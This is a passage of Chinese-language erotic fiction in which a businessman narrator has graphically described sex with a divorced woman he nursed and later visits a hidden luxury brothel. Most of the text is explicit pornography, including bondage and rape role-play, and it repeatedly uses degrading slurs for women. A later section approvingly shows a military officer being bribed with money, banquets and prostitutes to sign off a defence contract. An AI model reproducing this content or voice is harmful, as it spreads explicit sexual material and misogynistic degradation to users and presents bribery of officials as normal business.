“搞不定啊?哈哈,有伟哥嘛!”

吉祥哥白我一眼,“看笑话不?告诉你,那娘们就一扫把星,谁沾谁倒霉!” 正想往下说,本团伙的老大招唿入席,话题就这么撂下了。

喝了两杯五粮液,手机响了,一看,居然是高薇!这年头大家都是曹操吗?! “喂?”

“……”没人答腔,象是女人在哭。

“喂!”

“孙哥……”果然是哭腔。

“怎么了?”

“刚才出门倒垃圾……滑倒了……我上不了楼,邻居家都没人……你能不能来帮帮我?”

“你在哪?”

“在租房这儿……我就穿了件睡衣,好冷……”

我最听不得女人受苦,一冲动就来了句:“你等着,马上到。”

放下电话撒了个谎,说是公司的车让伙计过年开回家出了事故,要去现场看看。也巧,喝酒地点离高薇季晓萌的合租屋很近,打车过去五分钟。一进楼洞,看见高薇穿件棉家居服,身上又是雪又是泥,怀里夹着不知哪来的一大团废报纸取暖,踡坐在楼梯上边哭边抖,见我过来跟见了亲人一样。

“孙哥……”

我没跟她客气,问:“磕哪儿了?”

“脚崴了。”

撸起裤脚一看,真的,右脚脖子一片青紫,肿得老高。

我弯腰把她背起,边上楼边问:“大过年的怎么不回家?”

高薇这下哭出声来:“离婚了……哪有家?”

忘了,季晓萌告诉过我。

“娘家不是家?”

“我爸……我爸说……敢进门就打死我……”

唉!什么年代了?再怎么着也是亲闺女,就这么扔在外面任她受苦,这算个爹吗?

房间在四楼。进门找衣服帮她换上,又把她背下楼打车去医院。检查结果还好,骨头没事主要是肌肉扭伤。做了处理,打上绷带,开了点药,医生说静养十天半月应该没大问题。再把她送回去,已经十点出头。哥们一个接一个打电话问我情况,都说要是有麻烦就一齐过来帮忙。我赶紧圆谎,说是处理好了马上回去。 高薇倒也懂事,说自己没事了让我快走。好吧。帮她烧了一壶水叮嘱了几句,妹子千恩万谢地目送我出了门。

五、贱人

事后想来,我就是一贱人。

送高薇治伤就行了,干吗第二天又买一堆东西去看她?看一次就好了,干吗要天天去?去看看也就算了,干吗还要帮她上热敷做按摩?上热敷做按摩也能理解,和她上床是怎么回事?

初八上午公司放炮开门,下午没事我又跑去看高薇。

季晓萌年前加了好几个班,说是回家住过元宵节再回来。现在屋里就我和高薇一男一女。有个护士长老妈言传身教,我的护理水平那可是准专业级的。这七天,高薇康复很快,人也养得精神了许多。

坐在床边用药油给她按摩伤处,高薇一脸甜笑看着我。

“哥,真不知道怎么谢你,这辈子没人对我这么好过。”

“别客气,朋友嘛。”

“这几天我都想,就是腿断了也值了。”

“大过年的胡说什么呢!”

“哥……”怎么说着说着哭开了?怎么还抱上了?好,抱就抱吧,反正我不吃亏。

抱了一会儿,觉得高薇平静下来,正要推开她做君子状,她却一嘴亲了过来。 高薇嘴里有薄荷味,是提前刷牙还是吃了口香糖不得而知。她的接吻技术不错,我俩的舌头你缠我绕进进出出玩得不亦乐乎。嘴忙着手也没闲,不知什么时候解开了我的上衣拉开了我的腰带,凉凉的小手伸进裤裆里很温柔地揉着蛋蛋撸着鸡鸡。

当了这么多天免费护工,恐怕我为的就是这一刻吧?

一把扯开高薇家居服的带子,一对奶子跳了出来。这对奶子以前见过一面,没细看。今天一看,真心不错。高薇皮肤有点小麦色,但是细致紧绷。奶子虽然不如季晓萌粉嫩不如季晓萌大,但是形状很美,标准的笋形,乳尖翘起一个漂亮的弧度,铜板大小轮廓清晰的乳晕衬着硬鼓鼓的乳头十分性感,把我的嘴一下子勾引了过去。轻吸慢舔没多大反应,我一发狠,不轻不重地咬了一下。

“啊……”听着象是爽大于痛。果然是熟女啊,喜欢重口味,那就不客气了。 嘴里咬着一个奶头,手里捏着一个奶头,轮番蹂躏,高薇浪声连连,手握我的鸡巴开始用力上下撸动。

“啊……啊啊……哥……轻点……轻点……”

放过高薇的奶子,站起身来。她擡起媚眼讨好地看着我,双手把我裤子褪了下来,一根铁硬的鸡巴杵在她面前。

看见鸡巴,高薇似乎变了个人。日本AV里的痴女,就那个状态。只见她跪在我脚下,双手握住鸡巴根让龟头完全暴露出来,伸出舌头从马眼到卵蛋来来回回舔了好几遍,又绕着龟头的肉棱子舔了几圈,然后一口把鸡巴吞了进去。 除了季晓萌的小嫩屄,口交是我的最爱了!鸡巴一进嘴,高薇就玩了个真空,把鸡巴紧包在上腭和舌头形成的一条腔道里,全方位地摩擦吮吸。一开始我还能矜持,三下五下爽得我抱住她的头,把她的嘴当成屄操了起来。我的鸡巴算不上巨炮,但插进高薇嘴里还剩半截。操着操着,高薇放松了吸力,双手从鸡巴根移到了我的屁股上,嘴一张头一伸,鸡巴一个打滑,捅进了她的嗓子眼!

这就是所谓的深喉吗?我有点吃惊,低头看自己的鸡巴消失在高薇嘴里,她的鼻子顶住了我的小腹,下巴也碰到了我的睾丸。更要命的是鸡巴插进喉咙引起呕吐反射,食道裹着龟头一缩一缩,那感觉简直比操屄还要爽。我靠!这么好的口活,那得用多少鸡巴才能培训出来?!再看高薇,虽然让大鸡巴捅得直翻白眼直流眼泪,但双手捧着我的屁股不推不拒,鸡巴吞到最深处还停上十秒八秒!淫娃!贱货!今天不操死你我对不起中午的人参牛尾汤!

正在心里发狠呢,高薇吐出我的鸡巴,嘴角和鸡巴之间拉出一根长丝。她擡头媚笑着问我:“哥,爽吗?”

“嗯!爽!”

“哥你躺着,妹子好好侍候你。”

这时我才发觉,因为强忍这张淫嘴带来的快感,从屁股到小腿肚子已经僵硬了。

我脱了上衣躺下,高薇在我背后垫了两个枕头,侧身跪在我右手边,把头发挽到脑后,一低头一撅腚,又把我的鸡巴吞了进去。这娘们真的很懂男人。这个姿势我不仅可以清楚地看见鸡巴在她嘴里进进出出的美景,还可以很方便地摸她的奶子捏她的屁股抠她的屄。捏了几下奶头,我伸手想扒她的家居裤,高薇一低头把鸡巴吞到根,腾出两手配合着我把裤子脱了下来。

季晓萌的屁股结实挺翘,是青春活力型的,而高薇的屁股圆润丰满,是性感少妇型的。掐了两把臀肉,我不轻不重地拍了一下,高薇从鼻子里哼出一声销魂的娇吟。把手探进臀缝,摸到两片软软的肉,中间一条小沟已经涨满了水。伸出食指顺着小沟滑几下,触到一颗硬绷绷的肉粒,用指头肚子压住做旋转运动,高薇全身一哆嗦开始哼起歌来。

哼歌可以,但是谁批准你不吃鸡巴了?左手按住她的头,右手食指磨着阴蒂中指捅进屄眼找准G点,佐藤鹰指奸神功隆重上演!高薇这下惨了,嘴里插着鸡巴,只能从鼻孔里出声,哼哼唧唧然后变成反胃咳嗽,一张脸憋得通红却始终没有抗拒逃避。好啊!很有性奴的潜质!我试探着放开左手,高薇的嘴还是老老实实叼着我的鸡巴。左手抓住一只乳房,用硬挺的乳头摩擦我的大腿,右手两指加大力度,在她的屄里又抠又戳。没一会,高薇啊的一声吐出我的鸡巴,屁股象通电一样快速筛起来,接着全身一个大哆嗦腰一挺腿一张,趴在床上玩起了间歇性抽动。

没等她回过气,我把她翻过身拖到床边,分开双腿露出屄来。只见一小片三角型的阴毛不疏不密,两瓣肥嫩的大阴唇微微张开,一颗黄豆大小的阴蒂鼓涨涨,小阴唇颜色有点深,虽然不是粉木耳但绝不是黑木耳,屄洞被我抠得还没合拢,正在一个劲往外冒水。此屄虽然不如季晓萌的馒头屄诱人食欲,但是诱人性欲不成问题。我握着硬梆梆的鸡巴,在高薇的阴蒂和屄门口蹭了几下,龟头沾够了润滑液,挺枪入洞。

好屄!入口紧,进去一两寸有个稍微松阔的空腔,接着又是一道紧韧的肉环,鸡巴长度不够的,估计到此就是尽头。好在哥的本钱足,一用劲项过去,龟头碰到了屄芯子。轻抽慢插几下,感觉妙不可言。插进去抽出来经过两道关卡,鸡巴头的肉棱子刮过时爽到腿肚子抽筋,有一根鸡巴串两个屄的错觉。屄芯子没有季晓萌那么硬,龟头顶上去有凹陷感,估计做过流产。不知鸡巴再长几寸能不能操进子宫?我闭上眼,品味着享受着又一个好屄带来的新鲜快感,屋里响起了床板摩擦的吱吱声和鸡巴肏屄的滋滋声。

操了十几下,高薇回过神来,坐起身抱着我亲嘴。我一手摸她的奶子,一手拍她的屁股,淫娃运起内力,阴道收收放放夹起了鸡巴。

“哥……嗯……好厉害……嗯……嗯……”

我用几记深顶回应她的夸奖。

“啊!啊!啊!……鸡巴太长了……戳死小骚屄了……”

还玩淫语啊?不错不错。我一用劲把高薇抱起,一步一颠走到窗前,把她的屁股放到暖气台上,挺腰狠操了几十下。

“哥……哥……你真会操……戳死小骚屄……戳死她……戳死她……啊…… 啊……啊……太硬了……顶死了……大鸡巴哥……大鸡巴哥……喜欢操我的屄吗?

操得爽不爽?……嗯……哥……不要……不要抽出去!“

这骚货太会叫床了!哥不拔出来就让她叫射了!

站着操屄有点累。我把高薇抱回床上,平复一下心态,深吸一口气挺起鸡巴又操了进去。没等我抽动,高薇一挺腰,骚屄夹紧了鸡巴大屁股顶着我的小腹玩起推磨来。

鸡巴泡在热乎乎湿漉漉的屄里,屄肉上下左右忽前忽后全方位摩擦着肉棍子,马眼时不时顶着又软又滑的子宫口,真心爽啊!突然看见被我扯下的家居服带子,一把拿起,将高薇双手拉过头顶,三下五除二绑上。

“哥……嗯……哥……不要……不要强奸人家……”

我重重压在高薇身上,舌头从她的右乳尖舔到乳房边缘,舔过腋下,舔上耳垂。

“嗯……不要……哥不要强奸我……妹子让你奸……让你操……嗯……哥想怎么操……就怎么操……”

受不了了!一把抱紧这温暖柔软的女体,全身力量集中在腰部,放开马力狂抽猛插。高薇的阴道全线收紧,叫床声也变了。

“啊!啊!啊!啊!……操我……操死我……干死我……快……快点……啊……啊……啊……啊!”

突然高薇两腿一张小腹用力上顶,屄里象破了个热水袋似的一股暖流汹涌而出,第二道肉环紧紧卡住了我的龟头。

好险!差一点就要射了。看来今天中午那碗人参牛尾汤没白吃!这通忙活也够出力的,正好趴高薇身上歇歇。

“哥……”

“嗯?”

“你还没射啊?”

“嗯!”

“好厉害啊哥!”

我笑笑,这话常听季晓萌说,已经习惯了。

拔出鸡巴,起身下床。高薇不明所以,急问:“哥你干吗去?”

“去尿尿!”

嘿嘿,没射出精倒憋出尿来了。高薇扑哧一笑,飞来一个媚眼,“快点回来啊!”

快点回来?急着挨操啊?哥偏要慢点。

好一泡大尿。找来暖瓶兑了点温水,仔细清洗了沾满淫液的鸡巴,又喝了杯水,我慢悠悠地走回床前,把高薇的绑绳解开,岔开腿骑在她身上,半软不硬的鸡巴放进她的乳沟。高薇媚笑着看我一眼,双手一捧奶子,夹住鸡巴做起胸推来。 季晓萌的奶子虽然大,但是太过硬挺,做乳交感觉不是很好。高薇的奶子尺寸足够又柔软,包着鸡巴肉肉的热热的很是舒服。奶子夹两下,嘴巴吸两下,乳交口交并用,幸福的鸡巴很快恢复了状态。再插进屄里,水没刚才那么多了,肉擦着肉的感觉更足。亲嘴,摸奶,咬奶头,掐屁股,不急不慢又操了百十下。 “哥……”

“嗯?”

“你歇着,我来。”

好啊,领教一下你的骑术。

翻身躺好。高薇摆开M腿掰开屄眼套上龟头慢慢坐了进去。

舒坦!小骚屄筛磨夹吸花样百出,竹笋奶上下翻飞眼花缭乱,淫声浪语高唱低吟不绝于耳。这骚货体力真好,这么细的腰扭着大屁股左摇右晃操了几百下也不嫌累。鸡巴被骚屄磨得越来越硬越来越热,已经到了发射的边缘。

“哥……”

“嗯。”

“今天……危险期……哥你……射我……嘴里……行不?”

靠!当然行!我一把掐住高薇的腰,挺起鸡巴猛顶了十来下,一声怒吼:“来了!”

高薇急忙起身,一屁股拱到我胯下叼住满是淫水的鸡巴用力唆起来。精关一开,一阵爆炸似的压力涌进精管,浓厚的精液一炮一炮冲出马眼,冲进了高薇的嗓子眼。这娘们真不含煳,鸡巴含得滴水不漏,喉咙一阵蠕动,把精液全咽了下去,嘴里再抽成真空包住鸡巴从根到顶慢慢吸吮,啵的一声,一根亮晶晶干净净的鸡巴弹了出来。

“哥的牛奶味好正哦。”

我真没话接她,只好笑笑。

“今天委屈哥了,下次哈,下次让哥给下面的嘴喂牛奶。”

“嗯……下面哪张嘴啊?”

“哎呀哥你口味好重,想走后门啊?”

“嗯,行不行?”

“你想怎么着都行!不过二哥太大了,我怕受不了。”

靠!听这话后门已经让人开了。

“逗你玩呢,我不喜欢搞后门。不过很好奇,搞后门什么感觉?舒服吗?” “不舒服,”这骚货倒也实在,“没操屄舒服。”

“我问男人舒不舒服?”

“不知道,看黄片里男人好象挺舒服。下次我弄干净了哥你试试?”还会浣肠吗?够专业!

“好啊!那我要三个洞轮着操,先操屄,再操屁眼,再操嘴!”

“哎呀哥你好坏!”

心里突然咯噔一下,想起了季晓萌那句床头禅“你坏死了”。

情绪莫名消沈下来。强打精神又说了几句话,见天色已晚,我扶高薇到浴室清洗了一下,穿好衣服准备走人。

高薇有点依依不舍。临走我从包里拿出三千块钱递给她。

“哥你别这样,我不要你钱。”

操屄不花钱,麻烦在后边。这原则我可不会忘。

“你不是想学个驾照吗?这钱算我赞助的学费。”说着话我脑子里突然跳出个画面:高薇开着出租车,车窗上贴着——起步价8元,每公里1。5元,口活100,打炮200,肛交500,内射500,全套1000赠奶炮……我这神级的想象力啊!

高薇没觉察我的走神,还在推让。

“别犟了,这个月你至少还得请一周假,工资能剩几个?明天我要出远门,不来看你了,好好照顾自己,听话。”

出门,下楼,开车。

GLK300驶出小区,汇入冬日黄昏的车流。

我无耻地思念起季晓萌来。

六、命运2012

2012第二天,我带着两辆车五个人去了西安。

老爷子当年哈工大毕业,被分配到“祖国最需要的地方”,在西北戈壁上参加过核实验外围工程,老孙家三个孩子都是生在沙漠里养在奶奶家。文革结束后申请转业回到故乡小城。当年一块儿吃苦的同学战友,如今云飞星散命运各异。 此行西安,是受老爷子全权委托拜会一位故交老友,如今的博导、院士、新能源领域权威专家。

老爷子已届古稀,虽然老骥伏枥,毕竟岁月无情。这几年,已经有意识地让我深度参与他的企业核心事务。这次去西安拜会世伯,主要是为企业转型升级听取建议、考察项目。老爷子是做实业的,看重技术和管理,我是做商业的,看重资本和市场。两者结合,效果甚佳,这些年我们爷俩一起研究的项目从不落空,孙家少主英明的口碑在老爷子的企业里已经立住了脚。

与世伯一家相处融洽,但正事办得不太顺利,看了几个项目前期投入都很大,市场前景却不明朗。眼看就到正月十五,留在别人家过节多有不便。辞过世伯,匆匆返程,赶回小城已是正月十五的上午。吃过午饭,我向老爷子详细汇报了此行见闻。爷俩一合计,保持接触,从长计议。

正月十七下午,季晓萌回来了,给我带了一大包自家产的板栗核桃银杏。大过年的,肚子里都有货,晚餐找来找去找了家川味小店,水煮牛肉、四川凉粉、酸辣虾,价钱便宜味道足。

吃完饭,你懂的。

出了正月,生活恢复常态。家人第一,事业第二,季晓萌第三,高薇再也没碰。经济大形势日渐吃紧,生意圈里的碰头都哭穷,我虽然也跟着附和,但是心中有数。萌妹子真旺夫啊,别人抢不到手的生意,我闭着眼随便拣。

转眼五月,萌妹子生日快到了。这天正在办公室琢磨送她什么礼物,手机响了,正是季晓萌。

“亲,想我没?”这话现在成习惯了。

“你和高薇上床了?”听筒里传出冷冰冰的声音。

我一下子没反应过来,“喂?你说什么?”

“少装!你是不是和高薇上床了?”

这事我都快忘了!季晓萌怎么知道的?

“你听我说,不是你想的那样!”

“我又不是你老婆,你爱哪样哪样我管不着。打电话就是告诉你,谢谢你照顾,我走了。”

季晓萌平时活泼开朗,床上温柔可人,但是火气绝对不小。没等我再说一字,那头嘎崩脆地挂了电话。赶紧再打过去,“您唿叫的用户无应答”。靠!是拆电池了还是把手机摔了?

赶紧开车出门,赶到季晓萌住处。门开处只见高薇哭丧个脸,鼻青眼肿。我冲进门直奔季晓萌房间,衣物用品都不见了,只留一地凌乱。

“季晓萌走了。”高薇在我身后小声说话。

“怎么回事?”我一把揪住高薇,声音大得吓人。

高薇吓哭了:“哥,怪我……昨天,喝多了……说错话了……和晓萌打起来了……哥,是我不好……”

我真想抽她,可是从来没打过女人。放开她,我一屁股坐到椅子上直喘粗气。 “什么时候走的?”

“早上天刚亮。”

“去哪了知道吗?”

高薇摇摇头,象个犯错的小学生。看着她,心里说不出什么滋味。能怪她吗? 恐怕祸根还在我自己。就算她有什么心机打什么主意,我把人家操了那是千真万确的事实。我叹了一口气,起身出门,听见高薇在身后苦哈哈地叫了声:“哥…

…“

想想这女人也真可怜。离了婚,父母不待见,一个人漂在外头,身无长技,学着用色相依附男人,却没有人能真正给她依靠。

我停下脚步,回头看她。

“哥……”高薇眼里又似害怕又似期待。

我想了想,回到屋里拉高薇坐下。

“驾照考出来了?”

“理论考完了……”

“你那个会计证过期没有?”

“我都按期审。”高薇让我问得摸不着头脑,瞪眼看着我。

“晓萌说你被银楼辞了,为什么?”

“……”

“有什么隐私吗?”

“没什么!”高薇擡起头,眼里倒坚强起来。“经理把我操了,还要我去陪区域经理,一大帮人喝酒K药乱搞。我是贱,可我不是畜生……”说着说着,高薇泪流了满脸。

和季晓萌说的“内部消息”基本一致。我面无表情地等着高薇平静下来。 “你怎么打算?”

“我能有什么打算……”高薇惨笑一下,“昨晚晓萌说我可以去做鸡了……”

做鸡也不是当年了,如今这年头,哪个行当都不好过。

“我的铁哥们,不是吉祥哥,最近在内蒙古买了个矿,七月底队伍要进场,缺个内务,让我帮忙找找。要求会打字,会开车,懂点财务,最好是女的,关键要心细,可靠。”这是团伙老大的项目,看她有没有缘份了。

“哥……”

“你先听我说。这不算是个好差事。那地方很偏,条件很苦,没人爱去。但是工资很高,内务一年八万,管吃管住。每年十一月到来年三月大雪封门,你们撤出来,到集团总部帮忙。”

“哥……”高薇抽抽答答又哭了起来。

“你这么漂着什么时候是个头?真想做鸡我不拦你。要是你愿意,我和哥们说一声,面试过了下个月就开始培训,但培训期间每个月只有两千。你考虑考虑,明天给我个准信。”

说完起身要走,高薇一把拉住了我。

“哥……”话没说,人已经哭得不行了。

我拍拍她手,说:“别哭了,冷静下来好好想想,我还有事。”

“哥,不用想,我去!”高薇抹了一把脸,擡起头来,“再苦也没有心里苦。 这种日子我过够了,想死的心都有。你放心,我不会给哥丢人!“

“那好,我这就帮你说去。”我抽出手来,“还有,我们以后别再联系了… …我是说,那种联系……其他的事你随时可以找我。“

“哥……我明白……”

“那好,从今天开始,抓紧时间学车,把会计拣起来。还有,以后不要说自己贱,更不要犯贱。”

高薇哭着笑着,用力点了点头。

虽然知道奇迹不会出现,我还是到各个车站码头转了一圈,没有见到季晓萌的踪影。又打了几次手机,仍然不通。过了中午饭点,没有食欲。我把车停在码头边的一座小山包上,看着大海发呆。

手机响了,赶紧拿出来看,不是季晓萌,是我妈。

“妈?”

“你爸犯病了,快回来!”

我靠靠靠靠靠靠靠!!!!!今天是什么晦气日子啊?

好在不是堵车的点,一路狂奔到家,救护车已经停在门口,护士正往车上擡老爷子。

越遇大事越冷静,算是我的特质之一。这个时候说废话没用,帮手擡上老爷子,拿好随身的皮包,和我妈坐上救护车往医院赶。路上打电话找好了医院的熟人。车到医院,把老爷子擡下就往急救室跑,直到护士把我拦在门外,这才发觉全身虚汗手抖个不停。

不一会,家里其他人陆续赶到,几个死党从医院熟人这边听说,陆续也到了,帮着我跑上跑下地交钱办手续。

急救室里传出消息,心脏病发作,情况危急,正在抢救。老娘从医一生,生老病死寻常事,倒也淡定。二姐却撑不住了,哭天喊地闹得我心烦上火,让老婆和二姐夫拖去一边劝慰。

天擦黑,老爷子从急救室推出来。抢救成功,留ICU观察,后续治疗要搭桥。医院提供两套方案,一是本院医生主刀,费用若干,二是请北京301名医走穴,费用若干乘以五。钱不花在这时花在何时?毫不犹豫交齐订金,确定了第二套方案。

第二天中午,老爷子醒了。

医生只准一人进ICU探视,我妈让我进去。

老爷子神智清醒,但一夜之间老态毕现。我走过去坐在床边,握住他插着管子的手。

“老三……”

“爸。”

“老孙家……要靠你了……”

“是,爸。”

老爷子紧握一下我的手,点点头,安下心来昏睡过去。

我哥从国外回来那天,老爷子做了搭桥手术,手术很成功。出院后,老爷子正式宣布让我接班。无人异议,这事就敲定下来。

五个人的皮包公司和上千人的上市企业当然不是一个概念,就算哥天纵英才,那也得从头做起。权力交接总是个麻烦事,总会有几个麻烦人,待理清头绪,已经到了中秋。

老爷子术后恢复很好,趁过节摆了场隆重的家宴,请了几个多年积累下的王牌人脉,郑重其事地把我介绍给他们。

这段时间,高薇去了内蒙,干得很敬业,团伙老大多次谢我找来个得力好手。 季晓萌没有任何音讯。也好,缘来缘散缘如水。

七、所谓底线

西安世伯那边有心栽花花未开,经他介绍的另一条线倒无心插出棵大柳树来。 详情不细说,只说两个字——军工。

小城有军港,老孙家本来就有军工背景,产品也有不少是军民两用,再加上西安世伯力荐,谈判非常顺利,估计投产后孙氏集团的实力至少能翻一番。 项目签约前,对方照例派出一个小组来企业现场考察。领队的姓很少见,姓“生”,上校。硬件我有自信,关键在“软件”。生意场上滚了这么多年,当然懂规矩。奔驰专车,五星酒店,参鲍燕翅,真金白银,功夫下足皆大欢喜。三天后考察情况通报会,生上校狠狠表扬了一通我们的企业,大笔一挥,当场在考察报告上签了字。

晚上自然又是一场盛宴。酒酣耳热,生上校和我称兄道弟拍肩搂脖地好不亲热。酒过三巡,生上校小声问我:“兄弟,正事办完了,你这儿有没有好场子,今晚放松放松?”

“这个没问题!本来早想安排,就是不知道生哥好不好这一口?小弟被动了。” 生上校开怀大笑,举杯和我一碰,一饮而尽。

自打认识季晓萌,我再没有出入欢场,心里真没底。想起吉祥哥一直没闲着,离席打了个电话,这家伙果然有道,一口应下来。

吃完饭兵分两路,司机拉着我和生上校直奔东郊,其余人等拉去钱柜KTV。 吉祥哥安排的地方叫“洞天”,以前没来过,看门头不起眼,进了门也不起眼,生上校脸色转阴,我不仅担心起来。

吉祥哥在门厅等着,见我们到了也不多话,领着拐到后门,看见一部电梯,门口站着保安。吉祥哥出示了一张卡片,保安放行。电梯操作板上只有两个楼层按钮,6和9,合起来诱人联想。电梯停在6楼,出门亮瞎了我的眼!真是别有洞天啊!三层通高的中厅,十多米长的实木吧台,酒柜摆满世界名酒,玻砖星光地面,青铜裸女水景,黄道十二宫彩绘天花,水晶吊灯至少一吨重,旋转楼梯装着维多利亚风格铁艺栏杆,黄玉透光墙壁上安着几尊仿罗马人体雕塑。生上校脸色放晴,连声赞好!

妈妈桑三十上下,很漂亮,也很会说话,领着我们上二楼的功夫就让生上校大笑了好几次。领进包间,那叫一个金壁辉煌,俗艳逼人!得空我向生上校介绍了吉祥哥,两人貌似热情地握手寒暄。

说话间进来二十几个妹子,各色的低胸短裙,很有满城尽是大咪咪的感觉。 妈妈桑一拍手,齐刷刷一鞠躬叫了声:“先生,晚上好!”我悄悄问吉祥哥:“安排明白了?”

吉祥哥小声回我:“此地不寻常,等会你就知道了。”

生上校客气几句,点了一个长发妹子一个短发妹子。嚯!胃口不小!我和吉祥哥陪衬着各点了一个。点完台,四个妹子交牌给妈妈桑转身出了门。生上校有点疑惑,还没问话,妈妈桑笑着说:“老板别急,这是本店特色。您先喝杯茶,妹子马上就回来。”

喝茶聊了几句,少爷上齐了酒水果品,妈妈桑陪笑告辞。不一会四位妹子进门,个个身披浴袍,怀抱软垫,走到眼前笑盈盈宽衣解带。我去!上身渔网胸衣,腰系女仆围裙,黑丝吊带袜,全真空!没回过神,妹子们放下软垫跪在眼前,行了个小日本的跪礼:“老板,请多多关照!”

生上校简直要乐死了。

我从来没见过这种阵仗,心想这店怎么这么牛啊?这样不怕查吗?吉祥哥看出了我的心思,悄悄说了个人名。

原来有这棵大树,难怪!

生上校果然生猛!象征性地唱了一首歌喝了两杯酒,摸奶抠屄好戏上演。我和吉祥哥对个眼神,借口再去安排点酒水,一齐起身出门,我俩的妹子交待几句也留在包房里,累死丫!

和吉祥哥来到大厅吧台喝酒,苏格兰单一麦芽威士忌。扯了几句闲话,吉祥哥问:“你那个萌妹子还把着?好久没见了。”

我叹了口气,把事情说给他听。吉祥哥听后幸灾乐祸:“我就说高薇是个扫把星,你不信,现在怎么样?”

我摇摇头,没接话,喝酒。

“瞧你那个出息,四十岁了还玩失恋你至于吗?你现在是上市公司的大总裁,几个亿的身家,请波老师陪你过夜也行啊!”

“我不喜欢波老师,我喜欢小苍优。”

“知道知道,萝莉控,怪蜀黍,就爱摧残无知少女。”

“切!你纯洁!”

“哥不是纯洁是纯粹,纯粹的淫荡。不象你,既不能甘心从善,又不能肆意做恶,哼!”

不能甘心从善,又不能肆意做恶”正中要害。我抿了一口酒,仔细品味着这话的寓意。

吉祥哥拍拍我肩膀,换了语气。

“其实你呀,就是心软,对女人还真是有情有义,这一点我不如你。”

“靠,对男人我就无情无义了?”

吉祥哥咧嘴一笑,和我碰了一杯。

等了半个小时不见生上校结束战斗,吉祥哥不耐烦,先走了。走到电梯口遇见妈妈桑,两人低头不知说了些什么。

大厅里轻声放着背景音乐,气氛不错。我坐在吧台前有一口没一口地品着酒。 一阵香风袭来,妈妈桑很优雅地坐到我身边。

“孙总,久仰,谢谢您来捧场。”

我笑了,“你这场子还需要人捧吗?”

妈妈桑咯咯娇笑,“孙总真会说话!”回头招唿吧台,“孙老板吧台消费全免,给我来杯芝华士。”

今天客人不多,妈妈桑一直坐在大厅陪我喝酒闲聊。又过了半个多小时,来了个妹子低声和她说了几句话。

妈妈桑笑着冲我说:“你朋友真猛,四个妹子全要了。”

“好,结账,走人。”

“不急不急,小妹说他办完事在沙发上睡着了。”

我晕!

“孙总你看这样好不好?我安排个小弟给他看着门,等他醒了带他到五楼客房睡下。你放心,绝对安全。”

“你这还有客房?”

妈妈桑笑了,说:“我们这里餐厅酒吧迪厅KTV洗浴客房都有,-1层到5层大众,6层以上会员制,孙总有什么需要尽管吩咐。”

“好,以后有重要客人就往你这安排。”

“多谢孙总关照!”妈妈桑眉开眼笑,从小坤包里拿出一张卡片递给我,“孙总,这是小店的钻石卡,凭卡消费八五折,最高优先权,还有定制服务哦。” “唔,充值多少?”我不喜欢被人套住。

“钻石卡不充值。”

“嗯?”

“对,不充值。象您这样有身份有品味的人,还能短了这几个小钱?”

有理有面。不错,收下了。

登记了钻石VIP,账单来了,看看价格不算太夸张。结了帐准备走人,妈妈桑送到电梯口,又神秘兮兮地对我说:“孙总,9楼是钻石VIP专用楼层。 有没有兴趣体验一下?”

“嗯……”我想想,累了大半年也该放松放松了,再说把那位上校一个人留下我还真不放心。“好吧!”

进电梯按了9楼,一路上妈妈桑和我吹她这里接待过多少大鳄大咖大官。 走出电梯门是个小玄关,闭着一扇红木对开大门,门口两个黑领结少爷,都挂耳麦。妈妈桑让我拿钻石卡在电子锁上刷了一下,大门开了,里面是个装修很清雅的厅堂。一位旗袍小妹过来招唿,妈妈桑交待几句笑着告别。我跟着小妹拐了几个弯,来到一扇不起眼的房门前。推门进屋,只有沙发茶几电视。旗袍小妹帮我换上拖鞋,鞠躬出门。我在屋里踱了几步,有种上当的感觉。正想要不要闪人,旗袍小妹敲门进屋,手中托盘放着水果饮料。等等,那是什么?定睛一看,一台IPAD、一粒伟哥和一小瓶印度神油!正在发楞,旗袍小妹递过IPAD,甜甜的声音很好听:“先生,这是您的电子菜单,如果需要纸质菜单请拨电话09。祝您度过一个愉快的夜晚!”

IPAD屏幕上是位娇俏的兔女郎,一行霓虹特效字“洞天钻石定制服务”。 点击进入,跳出菜单。

温馨情人、私密艳舞、制服诱惑、鸳鸯戏水、比翼双飞、后庭赏菊、SM激 情、宫庭红绳……明码标价童叟无欺。

这个东西好!省了当面点菜的小尴尬。想起吉祥哥的话,那好,今晚就玩个大的,探探自己的底线。

选了几个服务项目,点击确定进入下一页,“请挑选您的意中人。”一页五行四列二十个美女头像,一共两页。数量虽不多,但是质量真不错。有的头像是阴影,点击后有文字说明,或是正在辛勤工作,或是不提供我点的某项服务。点击其他头像,先是几张生活照,然后是几张艳照、裸照,最后有张掰屄特写,黑木耳粉木耳一目了然,后附美女三围、特长等文字简介和一张近期查体报告单。 在没花眼之前我选了两位美女。点击确定后屏幕显示:“您选择的套餐费用一共是XXXXX元”。有点贵,但是又算什么?点击确认,屏幕显示:“感谢您选择洞天钻石定制服务,请稍候,欢乐马上来到您身边。”真玩高科技啊!乔布斯在天之灵不知作何感想?

放下IPAD,我看看蓝色小药丸,犹豫片刻,一口吞下。

突然,房间灯光变暗,一侧的墙壁嗡嗡作响,裂开一道缝。洞天洞天,处处洞天,这地方真让我有刘姥姥初进大观园的感觉。门开处走出两位比基尼美女,正是我的最爱,长腿细腰,童颜巨乳。两女上前为我宽衣解带,拥着我走进大得能当客厅用的浴室。

进入浴室,两女解开身上可怜的小布,淋湿身体沾满浴泡一前一后夹着我做人体肥皂。四团软肉上上下下揉擦几遍,两女分开左右又把我的胳膊大腿擦满泡泡,然后一个跪前一个跪后,前面的用奶子夹着鸡巴做胸推,后面的把乳尖塞进我屁股缝里顶屁眼。

闭眼享受了几分钟,两女打开花洒冲干净身上的泡沫,嬉笑着任我轻薄。两女的称唿有意思,不叫老板不叫先生,叫我王爷!不是姓王的王,是国王的王。 那好,我就叫两女小奴和小妾吧。

泡在六人位的水力按摩浴缸里,有如浮在云端。小奴跪在身边喂我吃奶,小妾跪在胯下为我吹箫,一会又互换位置,爽得我不亦乐乎。玩到此时,我已经完全放松,心说真是不虚此行,别的场子和这儿一比全是狗屎!小奴的口活稍显生硬,小妾很熟练,偶尔还能来个半深喉。玩了一会儿,小妾双腿伸入身下,把我的腰部顶出水面,小奴骑上掰开屄,小妾手握肉棍对准肉洞,慢慢套了进去。 哥最讨厌穿着雨衣洗澡,所以甯愿牺牲时间和银子把妹泡良,也不愿叫鸡打炮。这地方不同一般鸡窝,定制服务菜单里华丽丽地有一项“生奸内射”。想想也对,如果真来了妈妈桑说的那些大鳄大咖大官,还不是想怎么玩就怎么玩?无非多多加价,平时做好卫生管理就是了。

